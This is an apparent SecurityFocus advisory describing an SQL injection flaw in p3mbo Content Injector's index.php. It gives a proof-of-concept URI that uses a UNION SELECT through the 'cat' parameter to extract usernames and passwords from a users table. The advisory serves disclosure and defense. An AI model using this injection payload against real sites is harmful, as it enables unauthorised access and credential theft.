p3mbo Content Injector Index.PHP SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

hyyp://www.example.com/index.php?cat=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/*


 

Privacy Statement
Copyright 2010, SecurityFocus